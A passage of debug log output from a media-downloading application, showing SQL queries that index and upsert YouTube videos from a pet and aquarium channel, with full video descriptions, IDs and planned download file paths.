video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Krusty Krab Pizza\" so I notice you 🍕 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Built Bikini Bottom in a Fish Tank!\n- I Got a Pet Dragon…\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl…\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I (truncated) 11:13:24.358 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.358 [debug] QUERY OK source="media_items" db=0.4ms idle=4.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-11 16:05:21Z], 32] 11:13:24.360 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["#ad To celebrate World Play Day 2025, I partnered with The @LEGO Group to create the ultimate LEGO railway adventure #LEGOWorldPlayDay #LEGOPartner\n\nI Built a Giant LEGO Railway for my Pets! My LEGO train travels through HUGE mountains, glow-in-the-dark and LED lit tunnels and down an insane DIY pool-noodle spiral coaster. But will the train make it or will this end in a complete disaster? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an insane 200ft LEGO railway through the studio, passing by some of your favorite animals, including Ralph my Peacock Mantis Shrimp, Mochi, my grocery store lobster, and the beloved duo Lucy and Lemon, my axolotls. We even build my kitten Nori a rube goldberg contraption to feed him treats when the train passes by! In this adventure-filled episode, we also travel to an abandoned railway to learn about trains in the real world! \n\nThis LEGO train trip will have 5 epic stops, including a dual greenhouse filled with live plants and LEGO botanicals, a snowy mountain featuring miniature Christmas trees and LEGO Santa, a cat cafe, a glow-in-the-dark tunnel with glowing crystals and an arid desert ecosystem with LEGO animals and real cacti. The LEGO train will be equipped with a tiny camera so you can see what the train sees, so be on the lookout for all of the hidden LEGO builds along the way! Can you spot them all?\n\nWatch until the end to see if the train makes it through the entire trip in one piece! This video is perfect for anyone who loves LEGO trains, building custom LEGO builds, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to build an epic DIY LEGO railway! \n\nIf you have any comments, suggestions or questions for this LEGO train video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Cat Cafe\" so I notice you 🐈☕️\n\nIf you love LEGO, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Built Minecraft for a Real Axolotl! \n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built a Giant LEGO Railway for my Pets!", "90979934-c6bd-4c91-a755-fb0553998428", "p7q8NnVlbVY", false, "https://www.youtube.com/watch?v=p7q8NnVlbVY", 32, [], 650, false, 11, "/downloads/shows/Aquarium Info/Season 2025/s2025e061100 - I Built a Giant LEGO Railway for my Pets!.mkv", false, false, 98, ~U[2025-06-11 16:05:21Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "#ad To celebrate World Play Day 2025, I partnered with The @LEGO Group to create the ultimate LEGO railway adventure #LEGOWorldPlayDay #LEGOPartner\n\nI Built a Giant LEGO Railway for my Pets! My LEGO train travels through HUGE mountains, glow-in-the-dark and LED lit tunnels and down an insane DIY pool-noodle spiral coaster. But will the train make it or will this end in a complete disaster? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an insane 200ft LEGO railway through the studio, passing by some of your favorite animals, including Ralph my Peacock Mantis Shrimp, Mochi, my grocery store lobster, and the beloved duo Lucy and Lemon, my axolotls. We even build my kitten Nori a rube goldberg contraption to feed him treats when the train passes by! In this adventure-filled episode, we also travel to an abandoned railway to learn about trains in the real world! \n\nThis LEGO train trip will have 5 epic stops, including a dual greenhouse filled with live plants and LEGO botanicals, a snowy mountain featuring miniature Christmas trees and LEGO Santa, a cat cafe, a glow-in-the-dark tunnel with glowing crystals and an arid desert ecosystem with LEGO animals and real cacti. The LEGO train will be equipped with a tiny camera so you can see what the train sees, so be on the lookout for all of the hidden LEGO builds along the way! Can you spot them all?\n\nWatch until the end to see if the train makes it through the entire trip in one piece! This video is perfect for anyone who loves LEGO trains, building custom LEGO builds, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to build an epic DIY LEGO railway! \n\nIf you have any comments, suggestions or questions for this LEGO train video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Cat Cafe\" so I notice you 🐈☕️\n\nIf you love LEGO, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Built Minecraft for a Real Axolotl! \n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built a Giant LEGO Railway for my Pets!", "p7q8NnVlbVY", "https://www.youtube.com/watch?v=p7q8NnVlbVY", 32, 650, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e061100 - I Built a Giant LEGO Railway for my Pets!.mkv", false, ~U[2025-06-11 16:05:21Z]] 11:13:24.361 [debug] QUERY OK source="sources" db=0.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.361 [debug] QUERY OK source="media_items" db=0.3ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-17 19:03:21Z], 32] 11:13:24.363 [debug] QUERY OK source="media_items" db=1.2ms idle=3.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I built REAL Minecraft for my axolotl! \n\nAfter I saw the new Minecraft movie, I knew I had to build it in real life for my axolotls, Miso and Matcha! In this episode, we even cook a real Minecraft chicken for my cute ragdoll kitten, Nori! Watch until the end to see my axolotls Miso and Matcha react to real Minecraft! This build took a lot of time and effort but I think \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an epic Minecraft IRL ecosystem for over $5,000 for my axolotls, Miso and Matcha. My axolotls recently had baby axolotls - Miso and Matcha - and they’re finally big enough to live together! So today we’re building them their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with real plants, a snowy mountain, mushroom biome, Minecraft village and a lush cave! We even have REAL mobs living in our Minecraft ecosystem, like my lizard Ringo, tiny rasbora fish and more! Can you spot them all?\n\nIn this adventure-filled episode, we travel to the wild to experience Minecraft in real life while hunting for real Minecraft mobs. We also build a DIY 3D printed volcano to experiment in making real lava for our Minecraft ecosystem. \n\nWatch until the end to see my axolotls Miso and Matcha enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Lava Chicken\" so I notice you 🌋🐓\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "32a3332c-fa46-4c87-a594-c1aee958e4ff", "3UY2Qtkkioo", false, "https://www.youtube.com/watch?v=3UY2Qtkkioo", 32, [], 746, false, 12, "/downloads/shows/Aquarium Info/Season 2025/s2025e051700 - I Built Minecraft for a Real Axolotl!.mkv", false, false, 98, ~U[2025-05-17 19:03:21Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "I built REAL Minecraft for my axolotl! \n\nAfter I saw the new Minecraft movie, I knew I had to build it in real life for my axolotls, Miso and Matcha! In this episode, we even cook a real Minecraft chicken for my cute ragdoll kitten, Nori! Watch until the end to see my axolotls Miso and Matcha react to real Minecraft! This build took a lot of time and effort but I think \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an epic Minecraft IRL ecosystem for over $5,000 for my axolotls, Miso and Matcha. My axolotls recently had baby axolotls - Miso and Matcha - and they’re finally big enough to live together! So today we’re building them their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with real plants, a snowy mountain, mushroom biome, Minecraft village and a lush cave! We even have REAL mobs living in our Minecraft ecosystem, like my lizard Ringo, tiny rasbora fish and more! Can you spot them all?\n\nIn this adventure-filled episode, we travel to the wild to experience Minecraft in real life while hunting for real Minecraft mobs. We also build a DIY 3D printed volcano to experiment in making real lava for our Minecraft ecosystem. \n\nWatch until the end to see my axolotls Miso and Matcha enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Lava Chicken\" so I notice you 🌋🐓\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "3UY2Qtkkioo", "https://www.youtube.com/watch?v=3UY2Qtkkioo", 32, 746, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e051700 - I Built Minecraft for a Real Axolotl!.mkv", false, ~U[2025-05-17 19:03:21Z]] 11:13:24.363 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.364 [debug] QUERY OK source="media_items" db=0.3ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-20 14:13:15Z], 32] 11:13:24.365 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I got a pet dragon! But will it be a good pet?\n\nThere is a species of lizard that looks exactly like a real-life dragon: The red eyed crocodile skink! Watch to learn if keeping a pet dragon is a good idea...\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nToday we buy the viral TikTok pet dragon and build its dream home ecosystem. This $5,000 terrarium has heaps of live plants, a pond filled with real fish and even a giant castle! \n\nIn this adventure-filled episode, we get the viral exotic pet that looks like a real dragon: a red eyed crocodile skink! We also build a DIY 3D printed castle for him to explore, travel to the desert to find dragons in the wild and even feed my rescue pet Alaskan King Crab in the studio! \n\nWatch until the end to see my pet dragon Gizmo explore his 3D printed Disney-style castle! This video is perfect for anyone who loves exotic pets, rare animals, DIY projects or is just interested in what it takes to keep a dragon as a pet! \n\nIf you have any comments, suggestions or questions for this pet dragon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Gizmo\" so I notice you 👑🐉\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Got a Pet Dragon...", "c4c30587-fb5a-49c3-baa6-20b9413720d2", "FCVuWcU475c", false, "https://www.youtube.com/watch?v=FCVuWcU475c", 32, [], 772, false, 13, "/downloads/shows/Aquarium Info/Season 2025/s2025e042000 - I Got a Pet Dragon....mkv", false, false, 98, ~U[2025-04-20 14:13:15Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "I got a pet dragon! But will it be a good pet?\n\nThere is a species of lizard that looks exactly like a real-life dragon: The red eyed crocodile skink! Watch to learn if keeping a pet dragon is a good idea...\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nToday we buy the viral TikTok pet dragon and build its dream home ecosystem. This $5,000 terrarium has heaps of live plants, a pond filled with real fish and even a giant castle! \n\nIn this adventure-filled episode, we get the viral exotic pet that looks like a real dragon: a red eyed crocodile skink! We also build a DIY 3D printed castle for him to explore, travel to the desert to find dragons in the wild and even feed my rescue pet Alaskan King Crab in the studio! \n\nWatch until the end to see my pet dragon Gizmo explore his 3D printed Disney-style castle! This video is perfect for anyone who loves exotic pets, rare animals, DIY projects or is just interested in what it takes to keep a dragon as a pet! \n\nIf you have any comments, suggestions or questions for this pet dragon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Gizmo\" so I notice you 👑🐉\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Got a Pet Dragon...", "FCVuWcU475c", "https://www.youtube.com/watch?v=FCVuWcU475c", 32, 772, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e042000 - I Got a Pet Dragon....mkv", false, ~U[2025-04-20 14:13:15Z]] 11:13:24.366 [debug] QUERY OK source="sources" db=0.1ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.366 [debug] QUERY OK source="media_items" db=0.3ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-08 16:17:29Z], 32] 11:13:24.368 [debug] QUERY OK source="media_items" db=1.2ms idle=3.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Can I raise these mystery eggs into frogs? Watch the evolution unfold over 100 days…\n\nToday, we buy 100 mystery frog eggs off the web and hatch them into tadpoles before growing them into tiny green tree frogs! Watch as I capture the scientific wonder of metamorphosis over 100 days and build a DIY terrarium from an IKEA cabinet! How many frogs do you think will survive? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to @RAWWFishing for taking us on an incredible Florida adventure! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this adventure-filled episode, we embark on a mission to raise tadpoles to frogs in 100 days! We also build a DIY IKEA terrarium, travel to Florida with RAWWFishing to catch real frogs in the wild and even witness the rare sighting of my pet Alaskan King Crab molting! \n\nWatch until the end to see how many frogs survive and get to experience the incredible jungle terrarium we built for them! This video is perfect for anyone who loves animals, DIY projects or is just interested in the science of metamorphosis.\n\nIf you have any comments, suggestions or questions for this raising frogs video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Frogs Forever\" so I notice you 🐸\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising Tadpoles to Frogs (100 Day Evolution)", "efce587d-ec9d-4d15-aead-8f9b060a3dce", "G6HL0WyBDMM", false, "https://www.youtube.com/watch?v=G6HL0WyBDMM", 32, [], 612, false, 14, "/downloads/shows/Aquarium Info/Season 2025/s2025e030800 - Raising Tadpoles to Frogs (100 Day Evolution).mkv", false, false, 98, ~U[2025-03-08 16:17:29Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "Can I raise these mystery eggs into frogs? Watch the evolution unfold over 100 days…\n\nToday, we buy 100 mystery frog eggs off the web and hatch them into tadpoles before growing them into tiny green tree frogs! Watch as I capture the scientific wonder of metamorphosis over 100 days and build a DIY terrarium from an IKEA cabinet! How many frogs do you think will survive? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to @RAWWFishing for taking us on an incredible Florida adventure! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this adventure-filled episode, we embark on a mission to raise tadpoles to frogs in 100 days! We also build a DIY IKEA terrarium, travel to Florida with RAWWFishing to catch real frogs in the wild and even witness the rare sighting of my pet Alaskan King Crab molting! \n\nWatch until the end to see how many frogs survive and get to experience the incredible jungle terrarium we built for them! This video is perfect for anyone who loves animals, DIY projects or is just interested in the science of metamorphosis.\n\nIf you have any comments, suggestions or questions for this raising frogs video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Frogs Forever\" so I notice you 🐸\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising Tadpoles to Frogs (100 Day Evolution)", "G6HL0WyBDMM", "https://www.youtube.com/watch?v=G6HL0WyBDMM", 32, 612, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e030800 - Raising Tadpoles to Frogs (100 Day Evolution).mkv", false, ~U[2025-03-08 16:17:29Z]] 11:13:24.368 [debug] QUERY OK source="sources" db=0.3ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", 